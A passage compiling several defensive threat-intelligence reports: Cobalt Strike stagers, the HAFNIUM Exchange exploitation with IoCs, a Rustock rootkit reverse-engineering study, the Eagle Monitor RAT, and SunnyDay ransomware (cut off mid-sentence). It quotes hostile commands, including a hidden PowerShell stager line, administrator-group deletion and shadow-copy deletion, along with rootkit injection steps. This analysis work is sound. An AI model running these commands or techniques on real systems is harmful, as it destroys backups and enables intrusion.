when moving laterally through the compromised network. These stagers allowed the Cobalt Strike Beacon payload to execute in memory. Cobalt Strike PowerShell stager's default execution pattern is always configured to launch as a service and is invoked from the command line with the parameters "/b /c start /b /min powershell -nop -w hidden". The stager executes and decodes a byte sequence in memory to launch Cobalt Strike via a reflected loaded library. **Table 1** maps the observed GOLD LAGOON techniques to the MITRE ATT&CK® framework. | Observed activity | MITRE ATT&CK mapping | |----------------------------------|-------------------------------------------------------| | Phishing campaigns | Phishing: Spearphishing Attachment | | Remote code execution | Command and Scripting Interpreter: Windows Command Shell | | | Signed Binary Proxy Execution: Rundll32 | | | Command and Scripting Interpreter: PowerShell | | Network reconnaissance | Remote System Discovery | | | Account Discovery: Domain Account | | Lateral movement | Remote Services: SMB/Windows Admin Shares | | Defense evasion | Process Injection: Proc Memory | | | Deobfuscate/Decode Files or Information | | Establishing persistence | Create or Modify System Process: Windows Service | The availability of unauthorized Cobalt Strike versions on the dark web means that threat actors can abuse it. Network defenders must attempt to answer the "friend or foe" question when they detect Cobalt Strike in their environment, as the tool can be used for both legitimate and malicious purposes. Taegis XDR, which is continually updated with intelligence gained through CTU research, helps organizations differentiate noise, legitimate use, and actionable alerts.
# Detection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities **Threat Research** Matt Bromiley, Chris DiGiamo, Andrew Thompson, Robert Wallace Mar 04, 2021 Beginning in January 2021, Mandiant Managed Defense observed multiple instances of abuse of Microsoft Exchange Server within at least one client environment. The observed activity included creation of web shells for persistent access, remote code execution, and reconnaissance for endpoint security solutions. Our investigation revealed that the files created on the Exchange servers were owned by the user NT AUTHORITY\SYSTEM, a privileged local account on the Windows operating system. Furthermore, the process that created the web shell was UMWorkerProcess.exe, the process responsible for Exchange Server’s Unified Messaging Service. In subsequent investigations, we observed malicious files created by w3wp.exe, the process responsible for the Exchange Server web front-end. In response to this activity, we built threat hunting campaigns designed to identify additional Exchange Server abuse. We also utilized this data to build higher-fidelity detections of web server process chains. On March 2, 2021, Microsoft released a blog post that detailed multiple zero-day vulnerabilities used to attack on-premises versions of Microsoft Exchange Server. Microsoft also issued emergency Exchange Server updates for the following vulnerabilities: | CVE | Risk | Access | Exploitability | Ease of Attack | Mandiant Intel | |----------------------|-----------|---------|----------------|----------------|-----------------| | CVE-2021-26855 | Critical | Network | Functional | Easy | Link | | CVE-2021-26857 | Medium | Network | Functional | Easy | Link | | CVE-2021-26858 | Medium | Network | Functional | Easy | Link | | CVE-2021-27065 | Medium | Network | Functional | Easy | Link | The activity reported by Microsoft aligns with our observations. FireEye currently tracks this activity in three clusters, UNC2639, UNC2640, and UNC2643. We anticipate additional clusters as we respond to intrusions. We recommend following Microsoft’s guidance and patching Exchange Server immediately to mitigate this activity. Based on our telemetry, we have identified an array of affected victims including US-based retailers, local governments, a university, and an engineering firm. Related activity may also include a Southeast Asian government and Central Asian telecom. Microsoft reported the exploitation occurred together and is linked to a single group of actors tracked as “HAFNIUM,” a group that has previously targeted US-based defense companies, law firms, infectious disease researchers, and think tanks. In this blog post, we will detail our observations on the active investigations we are currently performing. As our experience with and knowledge of this threat actor grows, we will update this post or release new technical details as appropriate. For our Managed Defense Customers, we have launched a Community Protection Event that will provide frequent updates on this threat actor and activity. We will be discussing these attacks more in an upcoming webinar on Mar. 17, 2021. ## From Exploit to Web Shell Beginning in January 2021, Mandiant Managed Defense observed the creation of web shells on one Microsoft Exchange server file system within a customer’s environment. The web shell, named help.aspx (MD5: 4b3039cf227c611c45d2242d1228a121), contained code to identify the presence of (1) FireEye xAgent, (2) CarbonBlack, or (3) CrowdStrike Falcon endpoint products and write the output of discovery. The web shell was written to the system by the UMWorkerProcess.exe process, which is associated with Microsoft Exchange Server’s Unified Messaging service. This activity suggested exploitation of CVE-2021-26858. Approximately twenty days later, the attacker placed another web shell on a separate Microsoft Exchange Server. This second, partially obfuscated web shell, named iisstart.aspx (MD5: 0fd9bffa49c76ee12e51e3b8ae0609ac), was more advanced and contained functions to interact with the file system. The web shell included the ability to run arbitrary commands and upload, delete, and view the contents of files. While the use of web shells is common amongst threat actors, the parent processes, timing, and victim(s) of these files clearly indicate activity that commenced with the abuse of Microsoft Exchange. In March 2021, in a separate environment, we observed a threat actor utilize one or more vulnerabilities to place at least one web shell on the vulnerable Exchange Server. This was likely to establish both persistence and secondary access, as in other environments. In this case, Mandiant observed the process w3wp.exe, (the IIS process associated with the Exchange web front-end) spawning cmd.exe to write a file to disk. The file matches signatures for the tried-and-true China Chopper. We observed that in at least two cases, the threat actors subsequently issued the following command against the Exchange web server: `net group "Exchange Organization administrators" administrator /del /domain`. This command attempts to delete the administrator user from the Exchange Organizations administrators group, beginning with the Domain Controller in the current domain. If the system is in a single-system domain, it will execute on the local computer. Per Microsoft’s blog, they have identified additional post-exploitation activities, including: - Credential theft via dumping of LSASS process memory. - Compression of data for exfiltration via 7-Zip. - Use of Exchange PowerShell Snap-ins to export mailbox data. - Use of additional offensive security tools Covenant, Nishang, and PowerCat for remote access. The activity we have observed, coupled with others in the information security industry, indicate that these threat actors are likely using Exchange Server vulnerabilities to gain a foothold into environments. This activity is followed quickly by additional access and persistent mechanisms. As previously stated, we have multiple ongoing cases and will continue to provide insight as we respond to intrusions. ## Investigation Tips We recommend checking the following for potential evidence of compromise: - Child processes of `C:\Windows\System32\inetsrv\w3wp.exe` on Exchange Servers, particularly `cmd.exe`. - Files written to the system by w3wp.exe or UMWorkerProcess.exe. - ASPX files owned by the SYSTEM user. - New, unexpected compiled ASPX files in the Temporary ASP.NET Files directory. - Reconnaissance, vulnerability-testing requests to the following resources from an external IP address: - `/rpc/` directory - `/ecp/DDI/DDIService.svc/SetObject` - Non-existent resources - With suspicious or spoofed HTTP User-Agents - Unexpected or suspicious Exchange PowerShell SnapIn requests to export mailboxes. In our investigations to date, the web shells placed on Exchange Servers have been named differently in each intrusion, and thus the file name alone is not a high-fidelity indicator of compromise. If you believe your Exchange Server was compromised, we recommend investigating to determine the scope of the attack and dwell time of the threat actor. Furthermore, as system and web server logs may have time or size limits enforced, we recommend preserving the following artifacts for forensic analysis: - At least 14 days of HTTP web logs from the `inetpub\Logs\LogFiles` directories (include logs from all subdirectories). - The contents of the Exchange Web Server (also found within the inetpub folder). - At least 14 days of Exchange Control Panel (ECP) logs, located in `Program Files\Microsoft\Exchange Server\v15\Logging\ECP\Server`. - Microsoft Windows event logs. We have found significant hunting and analysis value in these log folders, especially for suspicious CMD parameters in the ECP Server logs. We will continue updating technical details as we observe more related activity. ## Technical Indicators The following are technical indicators we have observed, organized by the threat groups we currently associate with this activity. To increase investigation transparency, we are including a Last Known True, or LKT, value for network indicators. The LKT timestamp indicates the last time Mandiant knew the indicator was associated with the adversary; however, as with all ongoing intrusions, a reasonable time window should be considered. ### UNC2639 | Indicator | Type | Note | |----------------------|---------------------|----------------------------| | 165.232.154.116 | Network: IP Address | Last known true: 2021/03/02 02:43 | | 182.18.152.105 | Network: IP Address | Last known true: 2021/03/03 16:16 | ### UNC2640 | Indicator | Type | MD5 | |------------------|---------------------|-------------------------------| | help.aspx | File: Web shell | 4b3039cf227c611c45d2242d1228a121 | | iisstart.aspx | File: Web shell | 0fd9bffa49c76ee12e51e3b8ae0609ac | ### UNC2643 | Indicator | Type | MD5/Note | |-------------------------------|---------------------|-------------------------------| | Cobalt Strike BEACON | File: Shellcode | 79eb217578bed4c250803bd573b10151 | | 89.34.111.11 | Network: IP Address | Last known true: 2021/03/03 21:06 | | 86.105.18.116 | Network: IP Address | Last known true: 2021/03/03 21:39 | ## Detecting the Techniques FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of Exchange Server exploitation or post-exploitation activities we associated with these threat actors. | Platform(s) | Detection Name | |----------------------------------|----------------------------------------------------| | Network Security | FEC_Trojan_ASPX_Generic_2 | | Email Security | FE_Webshell_ASPX_Generic_33 | | Detection On Demand | FEC_APT_Webshell_ASPX_HEARTSHELL_1 | | Malware File Scanning | Exploit.CVE-2021-26855 | | Endpoint Security | SUSPICIOUS CODE EXECUTION FROM EXCHANGE SERVER (EXPLOIT) | | | ASPXSPY WEBSHELL CREATION A (BACKDOOR) | | | PROCDUMP ON LSASS.EXE (METHODOLOGY) | | | TASKMGR PROCESS DUMP OF LSASS.EXE A (METHODOLOGY) | | | NISHANG POWERSHELL TCP ONE LINER (BACKDOOR) | | | SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) | | | POWERSHELL DOWNLOADER (METHODOLOGY) | | Malware Protection (AV/MG) | Trojan.Agent.Hafnium.A | | Module Coverage | [Process Guard] - prevents dumping of LSASS memory using the procdump utility. | | Helix | WINDOWS METHODOLOGY [Unusual Web Server Child Process] | | | MICROSOFT EXCHANGE [Authentication Bypass (CVE-2021-26855)] |
# A Case Study of the Rustock Rootkit and Spam Bot In this paper, we present a case study of the steps leading up to the extraction of the spam bot payload found within a backdoor rootkit known as Backdoor.Rustock.B or Spam-Mailbot.c. Following the extraction of the spam module, we focus our analysis on the steps necessary to decrypt the communications between the command and control server and infected hosts. Part of the discussion involves a method to extract the encryption key from within the malware binary and use that to decrypt the communications. The result is a better understanding of an advanced botnet communications scheme. In this analysis, we examine a backdoor rootkit known as Backdoor.Rustock.B or Spam-Mailbot.c, but hereafter referred to simply as rustock. While work has been done to deobfuscate the malware and study the rootkit, little information is available about the functionality of the spam bot that is contained within rustock. We are particularly interested in the communications between the command and control (C&C) server and infected hosts since they provide a glimpse into an advanced botnet communications scheme. The remainder of this paper presents a case study of the steps necessary to extract and reverse engineer the spam bot component. First, we provide some information gleaned from observing the network traffic produced by the bot. Then, we walk through the three phases of deobfuscation leading to the extraction of the spam bot component. Next, we describe the reverse engineering of the spam bot leading up to the extraction of the session encryption key from memory that makes it possible to decrypt the C&C communications between client and server. Finally, we summarize a sample decrypted C&C communication session between client and server. The key exchange phase is similar in all C&C sessions we observed. The HTTP POST from the client contains a 96-byte encrypted payload and is sent to the login.php page on the server. This is followed by a response from the server containing a 16-byte payload. The instruction phase of the C&C communications consists of a variable number of HTTP POSTs from the client and corresponding responses from the server. The size of the payloads contained within these packets is also variable and therefore assumed to be dependent upon the variable nature of the underlying C&C instructions. In addition to the information we gained through observation of the network traffic, the people at Symantec helped us recognize that the encryption algorithm used to encrypt the data was RC4. The malware contains four main components: the initial deobfuscation routine, the rootkit loader, the rootkit, and the spam module. IDA Pro 5.0 Standard Edition, an interactive disassembly tool, is used to study the code. A useful plug-in to the disassembly tool called idax86emu is also employed to deobfuscate the malware. The plug-in tool emulates the x86 CPU instruction set and can modify the disassembly as it walks through the obfuscated code. Using the emulator, we follow the deobfuscation routine to address 0x000114AF. At this address, the deobfuscated code looks different and makes more sense than the code prior to running through deobfuscation. This is the beginning of the rootkit loader. After a careful study of the code contained within the rootkit loader, we learn it takes the following steps: 1. Searches for the ntoskernl.exe image in memory and imports the functions: ExAllocatePool, ZwQuerySystemInformation, ExFreePool, and stricmp. 2. Using these imported functions, the malware allocates a chunk of memory of about 34k (0x8800 bytes) and deobfuscates the memory chunk starting at address 0x00011926 into the allocated memory. The deobfuscation routine used at this stage can be recognized by the parameters passed to the function; they are the address of the encrypted 0x8800 bytes embedded in the binary and the address of the 0x8800 bytes of newly allocated memory. The deobfuscation routine is called at 0x00011593. The deobfuscated memory turns out to be another PE executable, which is then mapped back to location 0x00011926. This executable is the embedded rootkit component. 3. Using the PE header of the embedded rootkit component starting at 0x00011926, the rootkit loader sets up the import tables by using the strings table located within the deobfuscated rootkit component. Some example function names are ZwEnumerateKey, ZwCreateKey, and ZwQueryKey. These functions will be used by the rootkit component later to hide itself. The rootkit loader then does any necessary relocation using the relocation section of the embedded binary. 4. Since the rootkit component is now decoded and mapped into the malware, its PE header is no longer needed. Therefore, in an attempt to defeat RAM forensics, the rootkit loader deletes the MZ and PE signatures bytes from the decoded rootkit executable from memory before passing control to the embedded rootkit binary. 5. The rootkit loader now jumps to 0x00011D92, the entry point of the rootkit component, which will be discussed next. 6. A pointer to an object representing the original malware driver file, i.e., lzx32.sys. It appears that this object is created by the Windows operating system when driver files are loaded into memory as a service. 7. The registry path pointing to the registry key that loaded the malware driver file into the operating system. This path is Unicode encoded. Knowing that the first argument is a pointer to the file object representing the original malware driver file is key in understanding how a modular component can be loaded and executed by the rootkit component. After storing the two arguments in global variables, a system thread is created. This thread has the following functionality: 1. Creates a handle to the rootkit kernel driver named: \BaseNamedObjects\{DC5E72A0-6D41-47E4-C56D-024587F4523B} (Since this handle name is hard-coded into the binary, it may serve as a way to detect the presence of the rootkit module). 2. Checks whether the loaded malware driver file is stored in an Alternate Data Stream (ADS). 3. Deletes all sub-keys in the hive: HKLM\system\CurrentControlSet\Enum\Root\Legacy_lzx32.sys. 4. Replaces the registry functions to hide the registry key created to load the malware at boot. 5. Creates a notify routine using PsSetCreateProcessNotifyRoutine which gets called for all process activity. This notify routine creates at most two threads to inject the spam component into the services.exe process. By doing this, the malware ensures its survivability. 6. The rootkit then replaces the ZwQuerySystemInformation and ZwTerminateProcess functions. 7. The same routine that injects the spam component discussed in step 5 is called at this point to start the spam component. The spam component is encrypted and appended to the original driver file lzx32.sys. The rootkit uses the first argument to extract this encrypted executable. One way to detect the presence of the appended component is to parse the PE header of the original malware driver file. By so doing, one will notice that there is additional data past the end of the PE executable. To extract and decrypt the appended data, the rootkit takes the following steps: 1. Reads the last four bytes of the original file; this is the size of the encrypted and compressed executable, we will call it bot_compressed_size. 2. Moves the file pointer back by bot_compressed_size + 4, and reads in four bytes that represent the xor key. 3. Reads in the next four bytes after the xor key; this is the uncompressed size of the appended file, we will call it bot_uncompressed_size. 4. The xor key is then used to xor-decrypt the data four bytes at a time, starting from the byte after bot_uncompressed_size. 5. Allocates and uses a memory chunk of size bot_uncompressed_size; the xor-decrypted data is then deobfuscated using deobfuscation routine 3. The resulting file is another PE executable that is the modular spam bot component. To properly extract this module, it is important to use the size variables detailed above. Using the wrong sizes results in an incomplete spam module. It was previously mentioned that the spam module is injected into the services.exe process; this is another step taken by the malware to thwart detection. The rootkit component follows these steps to inject the module into the services.exe process: 1. Finds the process ID of services.exe by using the ZwQuerySystemInformation API function to return all system thread and process information and searching the returned results. Once found, the process ID is stored in a global variable. 2. Creates another copy of the services.exe process. 3. Sets up networking capabilities by hooking the tcpip.sys, wanarp.sys, and ndis.sys driver functions. 4. Extracts, decrypts, and deobfuscates the spam module as described above. 5. Maps the spam module into non-paged allocated memory. 6. Calls KeAttachProcess to switch the memory context to the services.exe process. 7. The rootkit then sets up an asynchronous procedural call that provides a method to run the spam module code. The RC4 encryption algorithm consists of two main parts, the key-scheduling algorithm, and the pseudo-random generation algorithm. To generate the keystream, the two algorithms make use of an internal state consisting of two parts, a permutation of all 256 possible bytes, and two 8-bit index pointers. By comparing the two functions found within the assembly code with a C code implementation of RC4, we are able to determine that the assembly functions are direct implementations of the two algorithms that make up RC4. Additionally, the struct stored in global memory is the secret internal state consisting of a 256 byte char array and two index pointers into the array. The function containing the key-scheduling algorithm is called once during login.php. This function initializes the internal state variable and stores it in the global struct. The session key itself is not stored in global memory and is therefore difficult to extract. Fortunately, having the internal state variables is as good as having the original key generated by the infected host. The instruction jz short loc_405CE4 is the instruction that precedes the code that prepares the session key and stores it in global memory. Converting this instruction and subsequent instructions to hexadecimal results in a unique signature 0x74 0x11 0xA1 0x64 that we will use later to search and extract from memory the internal state variables used to decrypt the encrypted network communications. We used Microsoft's User Mode Process Dumper to dump the memory space of the services.exe process to a file. Timing of the memory dump is critical since it must occur after the key exchange and instruction phases of the C&C session but before the next key exchange. Because the client typically initiates another C&C session with the server every few minutes, it is important to keep track of the various sessions and the corresponding memory dumps. In order to prevent the possibility of the state variable being overwritten, one could use a remote kernel debugger to break execution after the C&C session has completed rather than dumping the memory. The disadvantage of this method is that it affects the timing of subsequent C&C sessions and could be noticed by the server. Once we have a memory dump and a corresponding network capture of the C&C session, we load the memory dump into Microsoft's windbg. The log file enumerates the steps we took to extract the key. First, we locate the signature isolated in the previous section (0x74 0x11 0xA1 0x64). Next, we disassemble several instructions starting at the memory address we just found. The mov instruction at address 0x00d35cd3 loads a pointer to the struct containing the RC4 state variables, so to find the key we simply dereference the pointer. Finally, we dump the state variables to a file. To decrypt the captured C&C session, we use the global struct we have extracted from the memory dump containing the state variables. We modify the C code implementation of RC4 to read the key-scheduling state variables from disk rather than generating a new instance. For us to decrypt the communication, we need to apply the RC4 encryption/decryption function to the POST message from the client followed by the response from the server. This keeps the state variables synchronized and allows us to decrypt both sides of the communication. Each exchange consisting of a POST to data.php and reply from the server can be decrypted separately since the state variable is copied from the global struct to the stack each time. One thing to note is that the first fourteen bytes of the client message are ignored when encrypting the message. This was noticed during the static analysis of the spam module. In order to keep the state variables synchronized, we also must ignore the first fourteen bytes of the message. **Table 1: Summary of decrypted C&C communications between the infected client and the server.** | Message | Message Contents or Summary | |-----------|---------------------------------------------------------------------------------------------| | Client 1 | "kill.txt" | | Server 1 | Server response specifies processes to terminate and files to delete from the client | | Client 2 | Information about the client | | Server 2 | Information for the client about the client and file names to create or request | | Client 3 | "neutral.txt" | | Server 3 | List of domain names to query for mail servers to use | | Client 4 | "unlucky.txt" | | Server 4 | List of SMTP server responses that indicate failure | | Client 5 | "tmpcode.bin" | | Server 5 | Binary data that specifies the formatting of spam message to be sent by the client | | Client 6 | "tmpcode.bin" | | Server 6 | Binary data including spam content | | Client 7 | "-" | | Server 7 | List of target email addresses | Next, the client sends information about itself to the server including bandwidth, OS version, SMTP availability (if outbound TCP/25 is allowed), if it is a virtual machine, and if it is blacklisted on a DNS blacklist. The server responds with additional information including the client's external IP address, machine name, task id that the server assigns to the client for a given spamming job, whether an update of the client is available, and names of additional command strings that the client can use for subsequent communications. An example of the command strings are "filesnames=neutral.txt" and "unluckystrings=unlucky.txt". The next packet sent by the client is "neutral.txt"; this request results in a list of domain names from the server. The client puts these domain names in a double-linked list and queries them for the presence of mail servers. The fourth client request in this session is "unlucky.txt". This request results in a list of error messages that an SMTP server could return. Some examples are "Please use your provider SMTP" and "your mail rejected". In the fifth and sixth exchange, the client sends the request string "tmpcode.bin" and the server responds with binary code and spam content that is used by the client to generate spam messages that are dynamic in nature to bypass spam filters. Finally, in the last session, the client sends a single dash ("-") to which the server responds with a list of email addresses where spam messages will be sent. Based on our observation that the starting address of the deobfuscated code changed between versions of lzx32.sys as well as different obfuscation techniques, we conclude that the outermost binary packer/obfuscator was changed. It is likely that the reason for this is that the authors of the code were attempting to avoid antivirus detection as well as to increase the amount of time that it takes to deobfuscate the code. Our technique for deobfuscation was not affected much by the different techniques since we step through the code using an emulator. Our analysis of the C&C communications indicates ordinary spam bot functionality. Aside from this functionality, the spam module also has the ability to download and execute arbitrary code. This could be used for other nefarious purposes. In addition, the modular design of the rootkit and embedded spam module makes it easy to update the spam module. During our experiments, we observed multiple updates to the spam module. These updates were confined to changes of C&C server domain names and search terms used to build the spam, but it indicates that it would be simple for those controlling the botnet to update the module with other features. Future work is also needed to better understand the details of the rustock rootkit. Since our focus was on getting to the spam module, we did not do a detailed analysis on the rootkit itself. Further details can be found in other studies. One element of the rootkit that needs more analysis is the alternative behavior exhibited when the malware driver detects that it is not stored in an ADS. Additional work should be done to automate the key extraction and C&C decryption. One way to do this would be to continually monitor the network traffic from an infected client. Anytime a post to login.php is seen, a remote procedure call could be initiated to the infected host to dump the memory space of the services.exe process. Given the network captures and memory dumps, it would be easy to write a script to extract the key from the dumps and decrypt the C&C communications in a way similar to our method.
# Under the lens: Eagle Monitor RAT **April 18, 2022** Upgraded version of RAT with new TTPs A Remote Administration Tool (RAT) is a type of software that gives the attacker full control over the victims’ device remotely. Using RATs, attackers can perform various tasks such as accessing files, cameras, and other resources remotely while conducting keylogging, system operations, etc. A developer named “Arsium” posted a new version of this open-source RAT – EagleMonitorRAT – on GitHub. Additionally, the developer posted a link to the GitHub page of the EagleMonitorRAT to various underground dark web markets. According to the developer, the EagleMonitorRAT is written in C# and upgraded from HorusEyesRat, which is Visual Basic .NET-based. Cyble Research Labs has analyzed the RAT binary and panel to gain insights into the functionalities and impact of the RAT. ## RAT Details While building the solution, various executables and support plugins are compiled, including client builder plugins and an admin panel. Additionally, various Dynamic Link Library (DLL) files are also compiled to support operations such as file management, keylogging, etc. A client builder is used to compile the binary, which will be delivered to users to compromise a target machine. The client binary may be delivered to users using various initial infection vectors such as spam email. The builder has an option to specify the IP address of the server, port, and key. EagleMonitorRAT has a server panel for managing victim devices. The panel shows country, hardware ID, operating system details, username, available RAM, privilege, region, etc. Additionally, the panel has various options to manage as well for performing several operations in the infected device. The Admin panel of EagleMonitorRAT includes operations such as: - recovery - desktop - miscellaneous panels - mass tasks - memory execution - information - client In the recovery option of EagleMonitorRAT, there are three different options – passwords, history, and autofill. The Recovery option works as an information stealer which extracts usernames, passwords, and browser history. The Desktop menu option of EagleMonitorRAT has five different suboperations – file manager, process manager, live keylogger, remote desktop, and remote webcam. The File Manager menu option of EagleMonitorRAT gives TAs the functionality to manage files in the specific directory of the infected device. The Process Manager menu options show the details of the running process of the infected device, such as Icon, ID, Name, Window Title, Window Handle, and Is64Bit. The shellcode injection menu option of the EagleMonitorRAT gives attackers an option to perform shellcode injection remotely in the infected device. The EagleMonitorRAT has a live keylogger functionality to remotely capture the victim system’s keystrokes. The Remote Desktop functionality captures screenshots of the victim system remotely at predefined intervals. This RAT has a menu option to remotely capture the webcam feed of the infected system as well. The EagleMonitorRAT has miscellaneous menu options to perform other remote operations such as hiding the taskbar, changing wallpapers, sound management, etc. EagleMonitorRAT also has a menu option to discover the network connection and get the CPU information of the infected system. The RAT panel has a menu option to remotely shutdown, reboot, log out, BSOD, lock the workstation, hibernate, and suspend the victim’s system. ## Conclusion RATs have steadily become stealthier and more efficient with new techniques in place. Various cybercriminals and Advanced Persistent Threat Groups have leveraged RATs in the past. Cyble has observed data breaches in high-profile organizations due to such threats. Since EagleMonitor is an open-source RAT, it is possible that threat actors could create and deploy custom variations for future attacks. Organizations and individuals should thus continue to follow industry best cybersecurity practices. ### Our Recommendations: - Use strong passwords and enforce multi-factor authentication wherever possible. - Turn on the automatic software update feature on your computer, mobile, and other connected devices. - Use a reputed anti-virus and internet security software package on your connected devices, including PC, laptop, and mobile. - Refrain from opening untrusted links and email attachments without first verifying their authenticity. - Educate employees in terms of protecting themselves from threats like phishing/untrusted URLs. - Block URLs that could be used to spread the malware, e.g., Torrent/Warez. - Monitor the beacon on the network level to block data exfiltration by malware or TAs. - Enable Data Loss Prevention (DLP) Solutions on the employees’ systems. ### MITRE ATT&CK® Techniques | Tactic | Technique ID | Technique Name | |------------------------------|--------------|-----------------------------------------| | Execution | T1204 | User Execution | | Privilege Escalation | T1543 | Create or Modify System Process | | | T1055 | Process Injection | | Credential Access | T1555 | Credentials from Password Stores | | | T1539 | Steal Web Session Cookie | | | T1552 | Unsecured Credentials | | | T1528 | Steal Application Access Token | | Collection | T1113 | Screen Capture | | | T1123 | Audio Capture | | | T1119 | Automated Collection | | | T1005 | Data from Local System | | | T1056 | Input Capture | | Discovery | T1518 | Software Discovery | | | T1124 | System Time Discovery | | | T1007 | System Service Discovery | | | T1083 | File and Directory Discovery | | | T1046 | Network Service Scanning | | Command and Control | T1071 | Application Layer Protocol | | Exfiltration | T1041 | Exfiltration Over C2 Channel | ### Indicators of Compromise (IoCs): | Indicators | Indicator Type | Description | |------------|----------------|-------------| | 6c172f7329eb3d18eb59de21aa065ee4 | Md5 | Eagle | | 12b61e975fa830fee6ea04e66cb07b5db6c4477b | SHA-1 | Monitor | | b1422ef3148f49247b207d4c167cc54c6d3c65d408910470b252ea178eaa66c8 | SHA-256 | RAT Reborn (x32).exe | | 6d269bc0b0a986e6e437bc9a33c6c95a | Md5 | Eagle | | 47e45dd7e64fe23dd9cb88a3545cee7b9014239c | SHA-1 | Monitor | | 8cc10fff94267bd402ef92cf0e886120803a3d46f90e821bc28fe0f5b2606082 | SHA-256 | Builder.exe | | c179251bae0044413c32b224895bf103 | Md5 | Client.exe | | b6d646d9ae87eefc4dc271f3e0419f43bdb2c94f | SHA-1 | | | 7b09df73e2551317e2547391361b579899cfcfd3304aab7fe4808858822be3f4 | SHA-256 | |
# Analysis of the SunnyDay Ransomware ## Introduction We recently came across a sample of the SunnyDay ransomware. As no significant information is available on this ransomware, we decided to write about its inner workings and technical details. As expected, we found some similarities between other ransomware samples such as Ever101, Medusa Locker, Curator, and Payment45. Although it has very similar features to the mentioned ransomware samples, we are not able to make any attribution to its threat group. SunnyDay is a simple piece of ransomware based on the SALSA20 stream cipher. It comes with an RSA public key blob embedded to encrypt a generated key used by the symmetric SALSA20 that will damage all the available files on the machine. One of the reasons criminals are using SALSA20 is because it offers speeds of around 4–14 cycles per byte in software on modern x86 processors and reasonable hardware performance. The main actions executed by SunnyDay during its execution are: - Deletes shadow copies (VSS) - Terminates and stops target processes and services - Generates a key to encrypt files by using SALSA20 stream cipher - The key is also encrypted with the RSA public key blob and appended at the end of the encrypted files - The extension “.sunnyday” is appended (name.extension.sunnyday) to the damaged files - It also contains a self-removing feature ## Technical Details of SunnyDay Ransomware **Name:** 7862d6e083c5792c40a6a570c1d3824ddab12cebc902ea965393fe057b717c0a.exe **MD5:** de6717493246599d8702e7d1fd6914aab5bd015d **Sample:** Bazaar.abuse.ch SunnyDay sample is distributed in a form of a 64-bit binary and with the release date of Mar 07 05:47:03 2022 (UTC). According to the sample signatures, it was compiled and linked with Microsoft Visual C++ via Visual Studio 2019 – 16.2.0 preview 4. At first glance, SunnyDay appears to use typical libraries found on popular ransomware samples. Calls related to Windows CryptoAPI were found; a Windows library commonly found in several ransomware families these days. The ransomware seems to use calls from wininet.dll to perform some communication to its C2. Taking a look at the entropy of the binary, there is no obfuscation in place. Some ransomware families are not using significant features related to code obfuscation and bypassing virtual machines and sandbox environments. This point moves straightforwardly to its genesis: the principle of causing total destruction in all types of systems and infrastructures without wasting time with useless things. ## Deleted Shadow Files Once running, the ransomware deletes all the shadow files on the machine by using the vssadmin.exe Windows utility. **Process created:** `C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet` With this technique in place, it ensures that victims will not recover the damaged file system by using shadow copies – a common process also used by other ransomware families. ## Stopped Services SunnyDay ransomware has hardcoded a list of target services that it tries to stop during its execution. The ransomware tries to stop the “vmickvexchange” service via “ControlService()” call with the param “SERVICE_STOP“. The list of target processes hardcoded inside the binary is presented below. ## Terminated Processes A list of target processes can also be found on the ransomware binary file. The ransomware obtains the double-linked list of processes via “CreateToolhel32Snapshot()“ and compares each process with the hardcoded ones. If it matches, the process is terminated via “TerminateProcess()” call. The tree of processes is iterated by using the “Process32NextW()” Windows call. The complete list of target processes is presented below. ## Skipped File Extensions and Folders Some file extensions and folders are bypassed during the ransomware encryption process. Some important directories are not damaged during the data encryption process, which may allow victims to recover some files in those directories. Also, some popular file extensions are untouchable, which can be an advantage for the victims’ side. ## Data Encryption Process SunnyDay takes advantage of Windows APIs (CryptoAPI) to carry out the encryption process. The ransomware carries a unique RSA public blob (CSP) 2048-bit key and uses some API calls to extract the blob key to encrypt the Salsa20 key to encode the entire victim’s files. Some functions from CryptoAPI are used during this process, namely: - `CryptAcquireContextW()`: Acquires a handle to a particular key container within a particular cryptographic service provider (CSP). - `CryptImportKey()`: Transfers a cryptographic key from a key BLOB into a cryptographic service provider (CSP). - `CryptEncrypt()`: Encrypts data. - `CryptDestroyKey()`: Releases the handle referenced by the hKey parameter. - `CryptReleaseContext()`: Releases the handle of a cryptographic service provider (CSP) and a key container. In sum, these calls are utilized to extract the public key blob from a qword on the data section and encrypt a newly generated key used by the SALSA20 stream cipher to encode all the target files. The details associated with the RSA blob can be observed below. The AlgID “CALG_RSA_KEYX” was used, and it is a 2048-bit key with the Public Exponent: 65537 in decimal. The public key is CALG_RSA_KEYX and is hardcoded inside the SunnyDay ransomware sample. This is an important detail about this malware as this blob is imported via the CryptImportKey API call and will be used to encrypt the key used by SALSA20 to encode the victim’s files. ## Digging into the Public Key Blob Format Public key blobs (type PUBLICKEYBLOB) are used to store RSA public keys. They have the following format: ``` BLOBHEADER blobheader; RSAPUBKEY rsapubkey; BYTE modulus[rsapubkey.bitlen/8]; ``` Notice that PUBLICKEYBLOBs are not encrypted, but contain public keys in plaintext form. The RSAPUBKEY structure contains information specific to the particular public key contained in the key blob. It is defined as follows: ```c typedef struct _RSAPUBKEY { DWORD magic; DWORD bitlen; DWORD pubexp; } RSAPUBKEY; ``` The following table describes each of the fields in the RSAPUBKEY structure. | Field | Description | |---------|-----------------------------------------------------------------------------| | magic | This must always be set to 0x31415352. Notice that this is just an ASCII encoding of “RSA1.” | | bitlen | Number of bits in the modulus. In practice, this must always be a multiple of 8. | | pubexp | The public exponent. | On the other hand, the SALSA20 stream cipher can be easily identified based on string constants and fixed rotation values. Within this context, criminals used the CryptoPP library in order to implement the SALSA20 algorithm in C++; a copy of it was performed by its author as expected. These details can be confirmed in the reverse engineering process. This ransomware uses a single SALSA20 key to encrypt all the files on a specific machine. The key is generated via `CryptoGenRandom()` call and next it is encrypted with the RSA 2048-bit key present on the ransomware samples. Finally, the SALSA20 key with 512 bytes is appended at the end of the encrypted files. ## The Ransomware Note The ransomware note called “!-Recovery_Instructions-!.txt” file is dropped in each folder with the instructions to recover the damaged files. As can be seen, the compromised machines are identified with a randomly generated ID present at the end of the ransomware note file, along with two email addresses. After the first contact with threat actors, a quick response from an “Outlook” address is received with additional steps, including the total amount to pay in Bitcoin and the wallet address. ## TOR / C2 Communication A link to download a specific TOR browser version was found during the ransomware analysis. Also, a stream of data with some details about the infected machine was observed, potentially to notify criminals about new infections. As observed, a lot of information is collected during the ransomware execution, namely: - machine name - domain - total RAM - total of physical volumes - total of encrypted files - number of CPUs This data is then grouped into a large string that would be sent 